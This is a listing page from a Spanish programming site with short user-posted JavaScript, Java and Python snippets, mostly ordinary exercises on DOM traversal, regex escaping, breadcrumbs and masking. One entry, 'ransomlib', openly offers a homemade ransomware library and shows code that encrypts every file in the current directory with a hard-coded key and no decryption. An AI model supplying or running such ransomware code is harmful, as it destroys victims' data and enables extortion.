Mostrar los tags: n

Mostrando del 1.131 al 1.140 de 2.753 coincidencias
Se ha buscado por el tag: n
Imágen de perfil

Obtener todos los elementos recursivamente


JavaScript

estrellaestrellaestrellaestrellaestrella(1)
Publicado el 16 de Diciembre del 2019 por Joel (150 códigos)
4.143 visualizaciones desde el 16 de Diciembre del 2019
Este código muestra como obtener de forma recursiva todos los elementos del DOM desde un elemento dado.

De este código:
1
2
3
4
5
6
7
<div id="myId">
    <p>
        <span>a</span>
        <a href="https://lawebdelprogramador.com">https://lawebdelprogramador.com</a>
    </p>
    <p>b</p>
</div>

Nos devolverá un array con:
1
[p, span, a, p]
Imágen de perfil

Escapar una cadena con una expresión regular


JavaScript

Publicado el 15 de Diciembre del 2019 por Katas (200 códigos)
875 visualizaciones desde el 15 de Diciembre del 2019
Función que recibe una cadena y escapa los caracteres especiales utilizando replace() y una expresión regular.

1
2
escapeRegExp('hola $name'); // "hola \$name"
escapeRegExp('el objecto es: { nombre: ["juan", "jose"]}'); // "el objecto es: \{ nombre: \["juan", "jose"\]\}"
Imágen de perfil

Generador de breadcrumb (migas de pan)


JavaScript

Publicado el 12 de Diciembre del 2019 por Katas (200 códigos)
3.604 visualizaciones desde el 12 de Diciembre del 2019
Crear un generado de breadcram que dada una url devuelva el código html para publicar en la web.

A tener en cuenta:
1.- El texto de los enlaces se tiene que poner en mayúsculas
2.- En el nombre del dominio se pone HOME
3.- Si solo existe el dominio no tiene que ser un enlace
4.- Si el ultimo elemento es un nombre de archivo, eliminar el punto y extensión del archivo (.html, .php, ...), interrogantes (?) o anchors (#)...
5.- Si el enlace tiene mas de 30 caracteres, quitar del contenido las palabras ["the", "of", "in", "from", "by", "with", "and", "or", "for", "to", "at", "a"] y mostrar únicamente las iniciales del resto de palabras.
6.- Si un enlace dispone de guiones, no ponerlos en el texto de la url.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
generateBC("mysite.com/", " + ") // <span class="active">HOME</span>
 
generateBC("https://mysite.com/", " + ") // <span class="active">HOME</span>
 
generateBC('http://github.com/biotechnology-by-research-eurasian-insider-meningitis', ' # '); // <a href="/">HOME</a> # <span class="active">BREIM</span>
 
generateBC("mysite.com/pictures/holidays.html", " : "); // <a href="/">HOME</a> : <a href="/pictures/">PICTURES</a> : <span class="active">HOLIDAYS</span>
 
generateBC("www.codewars.com/users/GiacomoSorbi", " / "); // <a href="/">HOME</a> / <a href="/users/">USERS</a> / <span class="active">GIACOMOSORBI</span>
 
generateBC("www.microsoft.com/important/confidential/docs/index.htm#top", " * "); // <a href="/">HOME</a> * <a href="/important/">IMPORTANT</a> * <a href="/important/confidential/">CONFIDENTIAL</a> * <span class="active">DOCS</span>
 
generateBC("mysite.com/very-long-url-to-make-a-silly-yet-meaningful-example/example.htm", " > "); // <a href="/">HOME</a> > <a href="/very-long-url-to-make-a-silly-yet-meaningful-example/">VLUMSYME</a> > <span class="active">EXAMPLE</span>
 
generateBC("www.very-long-site_name-to-make-a-silly-yet-meaningful-example.com/users/giacomo-sorbi", " + "); // <a href="/">HOME</a> + <a href="/users/">USERS</a> + <span class="active">GIACOMO SORBI</span>
Imágen de perfil

final de programación. Mensajería


Java

Publicado el 12 de Diciembre del 2019 por Antonio
2.689 visualizaciones desde el 12 de Diciembre del 2019
hola soy estudiante de programación y humildemente subo mi código de examen final de primer año, de programación I las consignas fueron:

Una empresa de Correo y Mensajería dispone de 4 mensajeros para repartir cartas y envíos personales.
Para organizar las entregas, ha dividido la ciudad en 4 zonas.
En la Central, se recibe un correo y pedido de entrega y se asignan a los mensajeros dependiendo de la predilección que tenga el cliente por un mensajero.
Al finalizar el día, se ingresan la cantidad de mensajes entregados por zona por cada mensajero y se realizan algunos cálculos para medir eficiencia.
Por lo tanto, se debe Codificar un algoritmo que muestre un menú que permita:
a) Ingresar los pedidos de mensajes. Número de mensajero y la zona de pedido. Los pedidos de mensajes se ingresarán en la matriz hasta finalizar el ingreso.
b) Ingresar en otra matriz idéntica la cantidad de mensajes entregados por cada mensajero por zona.
c) Una vez terminado el ingreso del punto b), realizar los siguientes cálculos y búsquedas:
• Mensajero con mayor eficiencia (mayor porcentaje de mensajes entregados).
• Mensajero con mayor cantidad de entregas.
• Mensajero menos solicitado.
• Listado decreciente de mensajeros por cantidad de entregas.
• Zona con menor índice de entrega (en la que no se entregaron la mayor cantidad de mensajes).
Imágen de perfil

ransomlib


Python

Publicado el 11 de Diciembre del 2019 por Joker_116 (6 códigos)
1.692 visualizaciones desde el 11 de Diciembre del 2019
esta es una libreria de python que programe yo mismo y sirver para crear ransomwares con python con solo un linea de codigo el encryptado es sencillo ademas en una proxima vercion le agregare el desencryptado.

copian el codigo y lo pegan en un archivo .py lo guardan como ransomlib.py
luego lo guardan en las carpetas de las librerias de python y listo

1
2
3
4
5
6
7
8
9
10
uso = ransomlib.encrypt("llave de cifrado", "directorio a cifrar", "extencion de los archivos despues de cifrados")
 
import os
import ransomlib
 
directorio = os.getcwd()
key = "ransomwasad"
extencion = ".ENCRYPT"
 
ransomlib.encrypt(key, directorio, extencion)
Imágen de perfil

Función que enmascare nuestro numero de cuenta


Python

Publicado el 9 de Diciembre del 2019 por Katas (150 códigos)
2.117 visualizaciones desde el 9 de Diciembre del 2019
Crear una función que enmascare nuestro numero de cuenta, numero de teléfono o respuesta a pregunta secreta, cambiando todos los valores por '#' excepto los últimos 4 dígitos.

1
2
3
4
maskify("4556364607935616") # '############5616'
maskify("64607935616")      # '#######5616'
maskify("1")                # '1'
maskify("")                 # ''
Imágen de perfil

Buscar un elemento superior en el DOM por su tipo


JavaScript

estrellaestrellaestrellaestrellaestrella(1)
Publicado el 9 de Diciembre del 2019 por Joel (150 códigos)
1.359 visualizaciones desde el 9 de Diciembre del 2019
Este simple código muestra como desde un elemento dado, busca otro elemento superior en el DOM por su tipo.

En este ejemplo, desde un <input>, se van recorriendo los elementos hacia arriba hasta dar con el <form>